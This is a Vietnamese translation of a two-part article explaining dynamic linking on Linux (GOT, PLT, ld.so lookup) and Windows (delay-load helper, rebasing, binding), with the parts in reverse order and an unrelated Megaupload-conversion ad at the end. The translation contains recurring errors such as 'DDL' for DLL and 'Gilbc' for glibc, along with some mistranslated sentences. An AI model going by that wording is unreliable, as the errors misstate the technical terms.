Hãy bắt đầu bằng việc nhìn lại hình 9. Nếu bạn chú ý, bạn có thể thấy mối liên kết thêm vào hai kiểu stub (gốc). Một kiểu là __imp_load_(function name), và kiểu kia là __tailmerge_(dllname). Như đã thấy từ quy ước đặt tên, kiểu đầu tiên của stub được tạo ra trên từng API, cho DDL, và kiểu thứ hai là trên từng DDL.

Trong hình 9, câu lệnh thực hiện một lệnh nhảy tới stub__imp_load_(function name) qua Bảng địa chỉ nhập trễ. Trong stub, câu lệnh đầu tiên là:










Mov eax,offset __imp_fndll1


Câu lệnh này di chuyển địa chỉ điểm vào thứ 0 của bảng IAT Delay. (Chú ý rằng đây là điạ chỉ Thường Trình Giúp Đỡ phải cập nhật địa chỉ tuyệt đối). Câu lệnh tiếp theo là lệnh nhảy tới stub cụ thể __tailmerge_(dllname). Trong __tailmerge_ stub, sau khi giữ các thanh ghi ecx và edx, nó thực hiện một lệnh push (đẩy) của thanh ghi eax. Câu lệnh tiếp theo sẽ là:










Push offset __DELAY_IMPORT_DESCRIPTOR_Dll1


Câu lệnh này đẩy địa chỉ của cấu trúc ImgDelayDescr trong DDL1. Cấu trúc dữ liệu được định nghĩa trong DELAYIMP.h.











typedef struct ImgDelayDescr {
   DWORD grAttrs;              // attributes
   LPCSTR szName;              // pointer to dll name
   HMODULE * phmod;            // address of module handle
   PImgThunkData pIAT;         // address of the IAT
   PCImgThunkData pINT;        // address of the INT
   PCImgThunkData pBoundIAT;   // address of the optional bound IAT
   PCImgThunkData pUnloadIAT;  // address of optional copy of original IAT
   DWORD dwTimeStamp;          // 0 if not bound,
                               // O.W. date/time stamp of DLL bound to (Old BIND)
   } ImgDelayDescr, * PImgDelayDescr;

typedef const ImgDelayDescr * PCImgDelayDescr;


Bây giờ chương trình hàm thực hiện một lệnh nhảy tới Thường Trình Giúp Đỡ với các giá trị trong ngăn xếp là các đối số. Từ giờ trở đi chúng ta sẽ xem xét vấn đề dựa trên mã giúp đỡ được định nghĩa trong DELAYHLP.CPP:










__delayLoadHelper(PCImgDelayDescr pidd, FARPROC * ppfnIATEntry)


Bộ Giúp Đỡ Tải Trễ đầu tiên cố gắng lấy quyền điều khiển modul từ ImgDelayDescr.










//Tính toán chỉ mục hàm, là một chỉ mục hàm trong IAT.
iINT = IndexFromPImgThunkData(PCImgThunkData(ppfnIATEntry), pidd->pIAT);


Như đã nói trước đây IAT và INT là hai cấu trúc song song:










//Dùng chỉ mục hàm để trỏ tới chỉ mục tương ứng ở INT.
   PCImgThunkData pitd = &((pidd->pINT)[iINT]);
//Lấy tên hàm hay thứ tự từ INT phụ thuộc xem liệu bit thiết lập cao hơn đã được nói chưa.
if (dli.dlp.fImportByName = ((pitd->u1.Ordinal & IMAGE_ORDINAL_FLAG) == 0)) {
     dli.dlp.szProcName = LPCSTR(pitd->u1.AddressOfData->Name);
     }
   else {
     dli.dlp.dwOrdinal = IMAGE_ORDINAL(pitd->u1.Ordinal);
     }

If (hmodule =0) //the first time
  {
    // Nạp thư viện
    // Sao chép quyền điều khiển biến số mở rộng (Call Free library()
    // Nếu mối đe doạ khác ở đó trước chúng ta)
  }


Bây giờ chúng ta phải tìm địa chỉ của chương trình con thủ tục bằng cách gọi hàm GetProcAddress(), như đã đề cập ở trên trong phần giải thích “Cách thức hoạt động”.










pfnRet = ::GetProcAddress(hmod, dli.dlp.szProcName);


Chúng ta cập nhật điểm vào IAT với địa chỉ:










*ppfnIATEntry = pfnRet;
//Quay lại __tail_merge_dll1


Bây giờ thanh ghi eax chứa giá trị trả về là các địa chỉ hàm tuyệt đối, cuối cùng mã lệnh thực hiện:










Jmp eax // nhảy tới hàm.


Liên kết động Explicit

Cả Linux và Windows đều cung cấp các thường trình (chẳng hạn dlopen()dlsym() trong Linux, LoadLibrary(), GetProcAddress() trong Windows) để nạp dứt khoát một thư viện và tìm địa chỉ của thường trình trong thư viện đó. Các thường trình này chỉ là các trình bao bọc, trả ra lời gọi thường trình liên kết động đã được gọi trước đó trong thời gian thực hiện liên kết ẩn qua PLT hay IAT.

Tăng tốc độ - Thư viện chia sẻ liên kết tĩnh

Thư viện chia sẻ trong thực tế có thể rất chậm. Sự giảm sút trong quá trình thực thi diễn ra chủ yếu do chế độ nạp thời gian thực và liên kết địa chỉ, không trực tiếp tham chiếu tới địa chỉ thường trình qua các bảng trực tiếp và việc dành riêng các thanh ghi máy cho các bảng này. Ngày nay, với không gian điạ chỉ lớn, có thể ghép nối một thư viện với một đoạn không gian địa chỉ tại thời gian liên kết và cũng giải quyết vấn đề tham chiếu địa chỉ. Nếu không gian địa chỉ đã sẵn sàng tại thời gian chạy, việc định vị lại địa chỉ có thể tránh khỏi. Các thư viện, nơi các địa chỉ chương trình và dữ liệu được ghép nối để thực thi trong thời gian chạy dược xem như là các thư viện liên kết tĩnh.

Prelinking trong Linux

Gilbc là một thư viện chia sẻ trong Linux có thể thực hiện liên kết tĩnh. Với các tuỳ chọn khác, Linux thay thế bằng việc dùng một khái niệm tương tự gọi là prelinking. Một prelink gán một rãnh địa chỉ ảo đơn nhất cho từng thư viện thực thi phụ thuộc và liên kết lại thư viện với địa chỉ cơ sở.




Hình 14.
Danh sách thư viện


Nếu bạn kết xuất một thực thi prelink hay một thư viện chia sẻ, bạn sẽ phải chú ý tới sự thay đổi trong định dạng của relocation (xác định lại vị trí). Thông thường kiến trúc IA-32 chỉ dùng định dạng REL, trong đó phần phu chú của relocation chỉ được lưu trữ tại địa chỉ offset. Chỉ trường hợp bạn có thể thấy một phân đoạn RELA dạng IA-32 thì nó mới ở đó.

Từ khi các thư viện chia sẻ prelink được dùng, thậm chí trong những thực thi non-prelinked, thông tin phụ chú đã được lưu giữ lại. Để làm điều này, một prelink chuyển phân đoạn .rel.dyn thành dạng RELA. Prelink tránh thực hiện điều này trong trường hợp các phụ chú là 0 bằng cách thay đổi kiểu định vị lại vị trí thành R_386_GLOB_DAT.



Hình 15.
Duy trì thông tin phụ chú.


Tiện ích prelink cũng tạo ra một danh sách các xung đột trong quá trình thực hiện và lưu trữ nó bên trong thực thi. Văn bản ELF mổ tả các ký tự không được định nghĩa trong thư viện chia sẻ phải được tìm kiếm đầu tiên trong chương trình thực thi chính, sau đó mới tìm kiếm trong các thư viện chia sẻ cần thiết. Không phải tất cả các ký tự đều được tìm như nhau trong pham vi tìm kiếm của một thư viện chia sẻ (chỉ thực hiện khi thư viện chia sẻ là prelink) hay trong phạm vi tìm kiếm ký tự mở rộng. Cả các ký tự cũng được gọi là các xung đột ví định vị lại vị trí các ký tự đó gây ra xung đột vị trí.

Các vị trí định vị lại bị xung đột được để vào một phân đoạn RELA riêng biệt trong một thực thi. Trong trường hợp này Sym.name + phụ chú sẽ gồm địa chỉ thực của biến xung đột (nếu không sẽ xem xét dến khía cạnh phạm vi mở rộng của thực thi).




Hình 16.
Giải quyết xung đột.


Trong thời gian chạy đầu tiên liên kết động kiểm tra xem liệu tất cả các thư viện phụ thuộc đã được bản đồ hoá thành công vào các rãnh không gian địa chỉ chỉ định của chúng hay chưa. Và liệu chúng có thay đổi từ khi quá trình prelinking làm việc hay không. Nếu là có, các prelinker chỉ phải thực hiện một vài điều chỉnh được định nghĩa trong danh sách xung đột đã được tạo ra trước đó.

Rebasing (cơ sở lại) và binding (ghép nối) trong Windows

Tương quan lại các vấn đề trong Windows, Windows DLL dùng các khái niệm cơ sở lại (rebasing) và ghép nối (bounding). Mọi chương trình thực thi và modul DLL đều có một địa chỉ cơ sở ưu tiên để nhận dạng địa chỉ mà modul đã bản đồ hóa trong không gian địa chỉ tiến trình. Chẳng hạn với một chương trình thực thi, giá trị mặc định là 0x00400000 và cho một DDL là 0x10000000. Điều này có nghĩa nếu thực thi được liên kết với hai DDL, một trong số chúng sẽ phải định vị lại vị trí trong bộ nhớ. Để tránh điều này, bạn có thể cơ sở lại DDL của bạn bằng cách cho nó một địa chỉ ưu tiên tại thời gian biên dịch. Bạn có thể làm điều này bằng cách chuyển hay cơ sở lại địa chỉ sang các tuỳ chọn project.

Như chúng ta đã thấy chương trình thực thi win32 có hai bảng phân biệt bao gồm các thông tin cần thiết để tìm hàm quan trọng - bảng Import Name và bảng Import Lookup. Bộ nạp chỉ đòi hỏi thêm một bản sao chép. Nối kết dễ dàng hơn trong việc này và ghi đè điểm vào IAT với địa chỉ thực của hàm nhập tại thời gian liên kết. Việc nối kết cũng thêm các thông tin ràng buộc,chẳng hạn như timestamp để ràng buộc chương trình thực thi. Trong thời gian nạp bộ nạp sẽ kiểm chứng xem khu vực ký tự tham chiếu tới trong phân đoạn xuất của DDL có không thay đổi hay không

Để kiểm tra lại tính hợp lệ của các thông tin ràng buộc, PE dùng một cấu trúc dữ liệu IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT được trở bởi thư mục dữ liệu. Cấu trúc này là một danh sách các phần tử IMAGE_BOUND_DESCRIPTOR, tương ứng với từng DDL nhập. Cấu trúc này lưu trữ timestamp, tên của một DDL quan trọng và số tham chiếu chuyển tiếp. Khái niệm chuyển tiếp xuất khẩu là khá xa phạm vi của bài báo này. Nhưng với mục đích hoàn chỉnh thì cũng tốt để biết rằng Windows cho phép bạn tham chiếu tới một API nhập trong một DDL chuyển tiếp từ một DDL khác.




Hình 17.
Cấu trúc dữ liệu IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT.


Nếu time stamp của DDL không thay đổi, nó dùng địa chỉ nối kết lưu trữ trong IAT. Nếu không thì nó dùng thông tin trong bảng hint-name để thực hiện các tra tìm thông thương.

Kết luận

Mục đích của bài này là thảo luận khái niệm thư viện chia sẻ trong cả Windows và Linux. Và lướt qua các kiểu cấu trúc dữ liệu khác nhau để giải thích liên kết động làm việc như thế nào. Trong phần một chúng ta đã được giới thiệu về Linux. Phần hai này chúng ta nghiên cứu sâu hơn về liên kết động trong Windows, bao gồm Tiến trình liên kết lười và Trình giúp đõ nạp trễ. Chúng ta cũng xem xét cách tăng tốc độ chủ yếu cho các thư viện chia sẻ, thường hay chậm trong thực tế. Và xem xét vấn đề prelinking trong Linux cũng như tương quan của nó trong windows: rebasing (cơ sở lại) và binding (nối kết).

Hi vọng là loạt hai bài này đã cung cấp cho các bạn cái nhìn sâu sắc hơn và toàn diện hơn về vấn đề liên kết động.

Liên kết động trong Linux và Windows

Phần I

Bài báo này thảo luận về khái niệm thư viện chia sẻ trong cả Windows và Linux. Đồng thời lướt qua các kiểu cấu trúc dữ liệu để giải thích liên kết động làm việc như thế nào trong các hệ điều hành này. Bài này rất hữu ích cho các nhà phát triển hứng thú nghiên cứu vấn đề về các hàm ẩn bảo mật, liên quan tới tốc độ liên kết động. Và cũng khẳng định một số kiến thức cơ bản về liên kết động đã được đưa ra trước đây.

Phần một giới thiệu các khái niệm cho cả Linux và Windows, nhưng cơ bản tập trung trên Linux. Lần tới, trong phần hai chúng ta sẽ thảo luận chúng làm việc trong Windows như thế nào và sau đó là so sánh hai môi trường với nhau.

Thư viện tĩnh và thư viện động

Thư viện là một tập hợp các chương trình con cho phép mã chương trình được chia sẻ và thay đổi theo kiểu modul. Các chương trình chạy và thư viện liên hệ với nhau theo một tiến trình gọi là linking (liên kết), làm việc qua một cầu nối (linker). 

Thư viện có thể chia thành hai loại: thư viện tĩnh và thư viện chia sẻ.

Thư viện tĩnh là một tập hợp các file kiểu đối tượng. Theo quy ước, các file này có đuôi kết thúc là “.a” trong UNIX và “.lib” trong Windows. Khi một chương trình được liên kết ngược với một thư viện tĩnh, mã máy từ các file đối tượng cho bất kì hàm mở rộng dùng trong chương trình sẽ được sao chép từ thư viện vào chương trình chạy cuối cùng.

Ngược lại với thư viện tĩnh, mã lệnh trong thư viện chia sẻ không giới hạn chương trình chạy tại thời gian liên kết. Phụ thuộc vào việc ghép địa chỉ lúc nào và như thế nào, tiến trình liên kết có thể phân loại là prelinking, load time linking, implicit run-time linkingexplicit run-time linking.

Mã độc lập vị trí ( hay Win32 DDLs với “.SO” )

Các mã độc lập vị trí có thể được sao chép từ bất kì khu vực bộ nhớ nào, sau đó chạy mà không cần thêm chỉnh sửa gì. Không giống như mã định vị lại vị trí đòi hỏi phải có một tiến trình đặc biệt là các cầu nối để có được vị trí và sự thực thi phù hợp.

Win32 DLLs không độc lập vị trí. Chúng cần định vị lại suốt trong quá trình tải, trừ phi phần cơ sở được sửa chữa để không cần dùng. Định vị lại để các địa chỉ giống nhau có thể được chia sẻ. Nhưng nếu các tiến trình khác nhau xung đột trong dàn xếp bộ nhớ, bộ nạp cần tạo ra các bản “đa sao chép” của DDL trong bộ nhớ. Khi bộ nạp Windows vẽ bản đồ DDL vào bộ nhớ, nó mở file và cố gắng nạp chúng vào các địa chỉ cơ bản trước. Tại các trang trong bản đồ đã được vẽ, hệ thống phân trang sẽ xem xét liệu các trang này đã được thể hiện trong bộ nhớ chưa. Nếu đã có thì chỉ cần vẽ lại các trang cho tiến trình mới, khi việc định vị lại vị trí đã được bộ nạp thực hiện xong tại các địa chỉ cơ sở. Nếu không thì các trang vẫn đang được lấy về từ ổ đĩa.

Nếu phạm vi địa chỉ xác định cho DDL không phù hợp, bộ nạp vẽ lại bản đồ trang vào khu vực tự do trong không gian địa chỉ chương trinh. Trong trường hợp này, nó đánh dấu trang mã lệnh như là COW (copy-on-write: sao chép để ghi) mà trước đó đã được đánh dấu là read + execute (đọc và thực thi). Từ đó, các cầu nối phải thể hiện mã lệnh đã sửa chữa tại thời gian định vị lại vị trí, bắt buộc các trang phải được phục hồi theo kiểu file phân trang.

Linux giải quyết vấn đề này bằng cách dùng PIC (Position Independent Code – mã độc lập vị trí). Các đối tượng chia sẻ trong Linux thường có PIC để tránh phải định vị lại vị trí thư viện trong thời gian tải. Tất cả các trang mã lệnh có thể được chia sẻ giữa toàn bộ tiến trình dùng cùng một thư viện và có thể được lập trang tới (hoặc từ) hệ thống file. Trong dòng x86, không có cách đơn giản nào để định địa chỉ dữ liệu liên quan tới khu vực hiện tại, kể từ khi tất cả các jump và các call là kiểu liên hệ cấu trúc con trỏ. Do đó, tất cả các tham chiếu tới khu vực địa chỉ tĩnh mở rộng được thực hiện trực tiếp qua một bảng, gọi là bảng GOT (Global Offset Table).

Liên kết động trong Linux

Cấu trúc dữ liệu ELF

Vì đây không phải là bài báo đặe tả định dạng kiểu ELF, chúng ta sẽ chỉ thảo luận về các cấu trúc dữ liệu, liên quan tới nội dung mà chúng ta đang xem xét. Đối với liên kết động, các cầu nối ELF cơ bản dùng hai bảng đặc trưng theo bộ xử lý: Global Offset Table (GOT) và Procedure Linkage Table (PLT).

Global Offset Table (GOT) - Bảng địa chỉ Offset mở rộng

Các mối liên kết ELF hỗ trợ mã PIC qua bảng GOT trong từng thư viện chia sẻ. GOT chỉ chứa địa chỉ của tất cả các dữ liệu tĩnh dùng trong chương trình. Địa chỉ của GOT thông thường được lưu trữ trong một thanh ghi (EBX), trong đó một địa chỉ quan hệ của mã lệnh được dùng.

Procedure Linkage Table (PLT) - Bảng liên kết các chương trình con

Cả chương trình chạy sử dụng thư viện chia sẻ và chính bản thân thư viện chia sẻ đều có một bảng PLT. Tương tự như cách bảng GOT gửi lại các tính toán địa chỉ độc lập vị trí tới khu vực địa chỉ tuyệt đối, PLT cũng gửi lại các hàm gọi địa chỉ tuyết đối tới khu vực địa chỉ tuyệt đối.

Ngoài hai bảng trên, các mối liên kết còn có trong “.dinsym” (chứa tất cả biểu tượng xuất khẩu và quan trọng của file), “.dynstr” (xâu tên cho biểu tượng), “.hash” (bảng hash - bảng cầu nối chạy thực, có thể dùng để tra tìm các biểu tượng một cách nhanh chóng) và “.dynamic” (danh sách các kiểu đuôi và con trỏ).

Trong phần .dynamic, các kiểu đuôi quan trọng gồm:
+ DT NEEDED: giữ bảng kí tự offset của một xâu kết thúc là null, đưa ra tên thư viện cần thiết. Offset là một chỉ mục trong bảng, được ghi lại trong danh sách DT_STRTAB.
+ 3DT HASH: giữ địa chỉ của bảng ký tự hash, trỏ tới bảng ký tự phần tử trong DT_SYMTAB.
+ DT STRTAB: giữ địa chỉ của bảng xâu
+ DT SYMTAB: giữ địa chỉ của bảng biểu tượng

Bảng ký tự Hash

nBuckets //không có đường vào bucket
nChains // không có đường vào chain
bucket[]
chain[]


Cả mảng bucket và chain chứa các chỉ mục bảng ký tự. Với mỗi ký tự phải tìm, nó sẽ được băm ra và thành phần hash%Buckets được dùng như là một chỉ mục trong mảng bucket[]. Mỗi phần tử bucket đưa ra một chỉ mục, một symindx, cũng như là bảng biểu tượng trong mảng chain. Nếu đường vào của bảng biểu tượng không được ghép nối, nó sẽ tìm đưòng vào tiếp theo vẫn với giá trị băm như thê, và dùng chỉ mục lấy ra từ Chain [symindx]

Thực hiện như thế nào 

Trong Linux, tự bản thân mối liên kết động ld.so đã là một thư viện chia sẻ ELF. Khi chương trình khởi động, hệ thống vẽ bản đồ ld.so thành một phần của không gian địa chỉ và chạy mã lệnh bootstrap của nó. Đường vào chính của bộ nạp được định nghĩa trong dl_main(elf/rtld.c). Cầu nối định vị và giải quyết, tham chiếu tới thường trình riêng của nó. Đó là việc cần thiết để tải mọi thứ về.

Phân đoạn tĩnh (nằm ở phần tiêu đề chương trình) trong file ELF bao gồm một con trỏ, trỏ tới bảng xâu của file (DT_STRTAB), cũng như là mục vào DT_NEEDED. Mỗi một phần tử đó bao gồm phần offset trong bảng xâu tên của thư viện yêu cầu. Mối liên kết động tạo ra một danh sách phạm vi chương trình chạy, bao gồm cả các thư viện để tải.

Chúng ta có hai cách đặc tả đối tượng trước khi tải. Hoặc là qua môi trường biến LD_PRELOAD, hoặc là qua file /etc/ld.so.preload. Cách sau có thể được dùng khi hàng rào an toàn ngăn cản dùng qua môi trường biến. Bộ nạp thêm mục vào DT_NEEDED của chương trình chạy, cũng như là phạm vi sau các đường vào trước khi tải.

Với mỗi một đường vào trong phạm vi, mối liên kết sẽ tìm file chứa thư viện. Mỗi khi thư viện được tìm ra, mối liên kết sẽ đọc tiêu dề ELF để tìm tiêu đề chương trình, được trỏ bởi phân đoạn động. Mối liên kết sẽ nạp sơ đồ thư viện vào không gian địa chỉ chương trình. Từ phân đoạn động, nó thêm bảng biểu tượng của thư viện vào chain của các bảng biểu tưọng. Và nếu các thư viện phụ thuộc nhiều hơn, nó sẽ thêm vào một danh sách được tải, và quá trình này được tiếp tục. Để sáng sủa hơn, chú ý rằng thực tế quá trình này tạo ra một cấu trúc link_map cho mỗi thư viện và thêm nó vào một danh sách liên kết mở rộng.

Mối liên kết giữ trong bộ nhớ một danh sách liên kết của các bảng (như cấu trúc kiểu link_map, tham chiếu bởi tham số dl_loaded trong cấu trúc rtld_global) trong mỗi file. Mối liên kết tận dụng bảng hash hiện tại trong file ELF (nằm trong DT_HASH) để tăng tốc độ tìm kiếm biểu tượng.

Mỗi lần bộ nạp kết thúc việc xây dựng danh sách liên kết các bảng phụ thuộc, nó sẽ thăm lại từng thư viện và điều khiển đường vào định vị lại vị trí của thư viện, làm đầy bảng GOT của thư viện và thể hiện các định vị cần thiết.

Biến LD_BIND_NOW dò ra bộ chạy liên kết động. Nếu nó bật, mối liên kết động sẽ xác định giá trị đường vào bảng PLT (mà tất cả kiểu đều thoại loại R_386_JMP_SLOT) tại thời gian tải. Nếu không thì, mối liên kết động sẽ thực hiện liên kết lười của các địa chỉ chương trình con. Và do đó các địa chỉ không bị giới hạn, trừ khi thường trình được gọi.

Một bước tới Linux bằng cách liên kết Procedure

Trong phần này, chúng ta sẽ tìm hiểu một hàm được định nghĩa trong thư viện chia sẻ libtest.so hoạt động như thế nào tại thời gian chạy. Chương trình chạy, được tách rời bằng thành phần gdb bên dưới đã được tạo ra bằng liên kết với một thư viện PIC, libtest.so.



Hình 1.
Chương trình chạy tách rời dùng gdb


Hãy bắt đầu xem xét từ lệnh gọi được chỉ ra ở hình 1.

Điạ chỉ trong lệnh gọi (0x80483a4) là một đường vào trong bảng PLT. Bốn đường vào đầu tiên trong PLT (nhờ đó lối vào thứ 3 và thứ 4 được duy trì) là phổ biến cho tất cả các hàm cuộc gọi. Phần còn lại của đường vào được nhóm lại thành một khối, mỗi khối gồm 3 đường vào và tương ứng cho một hàm. Điều này được chỉ ra trong hình 2.



Hình 2.
Đường vào đầu tiên trong PLT.



Hình 3.
Bảng GOT trên đĩa.



Câu lệnh bao gồm một bước nhảy tới địa chỉ trong đường vào của bảng GOT *(GOT + 0x14), và lại trỏ vào đường vào tiếp theo trong bảng PLT viz 0x80483aa (như đã được chỉ ra trong hình 2).

Các câu lệnh tiếp theo thực hiện với các địa chỉ dùng mối liên kết động. Câu lệnh nhảy đẩy một khoảng chứa trống (0x10). Đây là một khoảng trống trong bảng định vị lại file, trỏ tới biểu tượng được yêu cầu trong bảng biểu tượng, và địa chỉ trỏ tới đường vào GOT (0x804963c).



Hình 4.
Đường vào định vị lại vị trí 8 byte (RELSZ).


Như đã thấy trên hình 4, kích thước của đường vào định vị lại vị trí là 8 byte (RELSZ). Khoảng trống 0x10 cho chúng ta đường vào số 3 trong bảng .rel.plt, với đường vào là cho m. Lối vào khoảng trống trong bảng tương ứng với địa chỉ GOT, phải được cập nhật.

Đoạn mã lệnh sau nhảy tới đường vào đầu tiên trong PLT, là phần chung.



Hình 5.
Điểm ngắt 1.


Đường vào trong PLT lại nhảy tới địa chỉ trong GOT + 8. Bộ nạp tại thời gian tải cập nhật đường vào trong GOT + 4GOT + 8 (sớm hơn 0x000000 như đã thấy trong hình 3). Bây giờ GOT + 8 (0x 4000bcb0) trỏ tới một địa chỉ được vẽ với ld-2.3.2.0 (mối liên kết thời gian chạy). như có thể thấy trong hình 6.




Hình 6.
Bản đồ hoá địa chỉ với mối liên kết thời gian chạy.


Mỗi lần thường trình liên kết động tra tìm giá trị biểu tượng dùng bảng thời gian chạy được ghép nối, và lưu trữ địa chỉ thường trình (0x400177db) trong đường vào GOT (0x 804963c) như trong hình 5, lệnh gọi tiếp theo nhảy trực tiếp tới thường trình của chúng.

Peeking vào mối liên kết động ld.so

Hãy trở lại đường vào GOT. Như chúng ta đã thấy, GOT + 8 bao gồm địa chỉ của biểu tượng của mối liên kết thường trình định vị lại vị trí. GOT + 4 được nạp đầy bởi bộ nạp với điạ chỉ của cấu trúc link_map, được định nghĩa trong include/link.h. Bảng GOT được làm đầy bằng thường trình elf_machine_runtime_setup được định nghĩa trong dl-machine.h.

Hãy xem xét kỹ hơn:










Cấu trúc link_map
{
ElfW(Addr) l_addr; /*
điạ chỉ đối tượng chia sẻ điạ chỉ cơ bản được nạp */
char *l_name; /*
đối tượng tên file tuyệt đối được tìm trong */
ElfW(Dyn) *l_ld; /*
khu vực động của đối tượng chia sẻt */
struct link_map *l_next, *l_prev; /*
Chuỗi đối tượng được tải */

/*
Tất cả bộ phận sau nằm trong thành phần của mối liên kết động. Chúng có thể thay đổi mà không cần thông báo */

/*
Con trỏ chỉ mục trỏ tới khu vực động*/
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
const ElfW(Phdr) *l_phdr; /*
Con trỏ trỏ tới bảng tiêu đề chương trình trong lõi */
ElfW(Addr) l_entry; /*
đường vào trỏ khu vực */
ElfW(Half) l_phnum; /*
Số đường vào tiêu đề chương trình */
ElfW(Half) l_ldnum; /*
Số đường vào phân đoạn động */

/*
Mảng phụ thuộc DT_NEEDED và các phụ thuộc của nó, trong câu lện phụ thuộc để tra tìm biểu tượng (có hoặc không có bản sao). Không có đường vào trước phụ thuộc được tải */

struct r_scope_elem l_searchlist;


/*
Symbol hash table */
Elf_Symndx l_nbuckets;
const Elf_Symndx *l_buckets, *l_chain;





Tại thời gian việc thực thi nhảy vào thường trình phân giải biểu tượng, chúng ta có địa chỉ của bản đồ liên kết và khoảng trống định vị lại trong ngăn xếp. Khoảng trống định vị lại đã được nói ở trên đưa ra chỉ mục trong bảng biểu tượng cho tên biểu tưọng và tưong ứng với địa chỉ GOT, nơi các địa chỉ phân giải sẽ được ghi. Điạ chỉ phân giải đối tượng (GOT+8) trỏ tới một trampoline ELF_MACHINE_RUNTIME_TRAMPOLINE.

Hãy xem ELF_MACHINE_RUNTIME_TRAMPOLINE được định nghĩa trong dl-machine.h. Mã lệnh duy trì các thanh ghi và thực hiện lời gọi tới hàm fixup().










movl 16(%esp), %edx # Copy args pushed by PLT in register. Note
movl 12(%esp), %eax # that `fixup' takes its parameters in regs.
call fixup # Call resolver.



Hàm fixup() được định nghĩa trong dl-runtime.c.

Mảng l_info bên trong cấu trúc link_map bao gồm các con trỏ chỉ mục trỏ tới khu vực động:










const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);


Từ l_info mã lệnh lưu trữ các con trỏ trỏ tới bảng biểu tượng và bảng định vị lại vị trí. Nó tính toán đường vào định vị lại cho biểu tượng bằng cách thêm khoảng trống định vị lại để sắp xếp việc định vị lại vị trí.











const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);


Từ reloc -> r_info, nó lấy các chỉ mục biểu tượng được dùng để sắp xếp chỉ mục vào bảng biểu tượng và lấy thông tin cũng như địa chỉ được cập nhật từ reloc -> r_offset + l->l_addr.

Hàm fixup gọi _dl_lookup_symbol() cho công việc tra tìm với các thông tin trên.

Thành phần _dl_lookup_symbol() khi trả lại lại gọi do_lookup() cho từng đường vào trong mảng scope. Mảng scope bao gồm các phần tử thuộc kiểu cấu trúc r_scope_elem cho các thư viện. Nó được xác định như là một phần của phạm vi tìm kiếm mở rộng. Cấu trúc này được làm đầy tại thời gian tải.











struct r_scope_elem
{
/* Array of maps for the scope. */
struct link_map **r_list;
/* Number of entries in the scope. */
unsigned int r_nlist;
};


Lời gọi do_lookup được định nghĩa cho FCT trong do-lookup.h. Bây giờ hãy xem xét một chút về nó từ một phối cảnh logic trong tiếng Anh thuần tuý, để làm cho nó dễ hiểu hơn. Thực hiện như sau:











Do_lookup algorithm()
{
For each of the link_map structures in scope->r_list
do{
Get the symtable address from link_map->l_info
Get the strtable address from link_map->l_info


Tìm kiếm hash buket thích hợp trong các đối tượng bảng biểu tượng dùng thủ tục băm tên biểu tượng trong _dl_lookup_symbol().

Dùng đường dẫn chỉ mục trong chuỗi link_map  -> l_chain


Do {
Tra tìm đường dẫn bảng biểu tượng dùng chỉ mục. So ánh tên biểu tượng với (strtab + sym->st_name).
Nếu tìm thấy, trả lại đường vào bảng biểu tượng với cấu trúc link_map;
}
}

Bây giờ hãy trở lại hàm fixup().











/*link_map ->l_addr trỏ tới điạc chỉ tải cơ sở */
value = link_map->l_addr + sym->st_value

/* Cuối cùng, tự sửa plt. */
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);


Trở lại dl-machine.h, nó đưa lên các thanh ghi lưư trữ:










xchgl %eax, (%esp) # Get %eax contents and store function address.
ret $8 # Jump to function address.


Nếu bạn nhớ, ngoại trừ lời gọi từ hàm chính, tất cả các đưòng dẫn mã lệnh khác là thông qua lệnh nhảy. Điều này tách ngăn xếp ra và thực hiện một lệnh nhảy tới điạ chỉ hàm phân giải.

Kết luận phần một

Trong phần một chúng ta đã thảo luận cách dùng của liên kết động cho cả môi trường Linux và Windows. nhưng tập trung chủ yếu vào Linux. Thời gian tới, trong phần hai chúng ta sẽ xem xét cẩn thận liên kết động trong Windows cũng như hiện nay với Linux. Nó sẽ gồm tiến trình liên kết lười và bộ giúp đỡ tải trì hoãn. Sau đó chúng ta sẽ xem cách thức tăng tốc độ cho cả hai môi trường như thế nào.

Convert Megaupload links to Rapidshare links !

If someone want to convert Megaupload to Rapidshare links, please let me know, I'll do it for you ! ( for free, all ). If you want, please send those links to me, with the mail title : Convert to Rapidshare !. My mail is bornbygoogle@yahoo.com. Or YM ID : bornbygoogle.

Nice to help you ! :)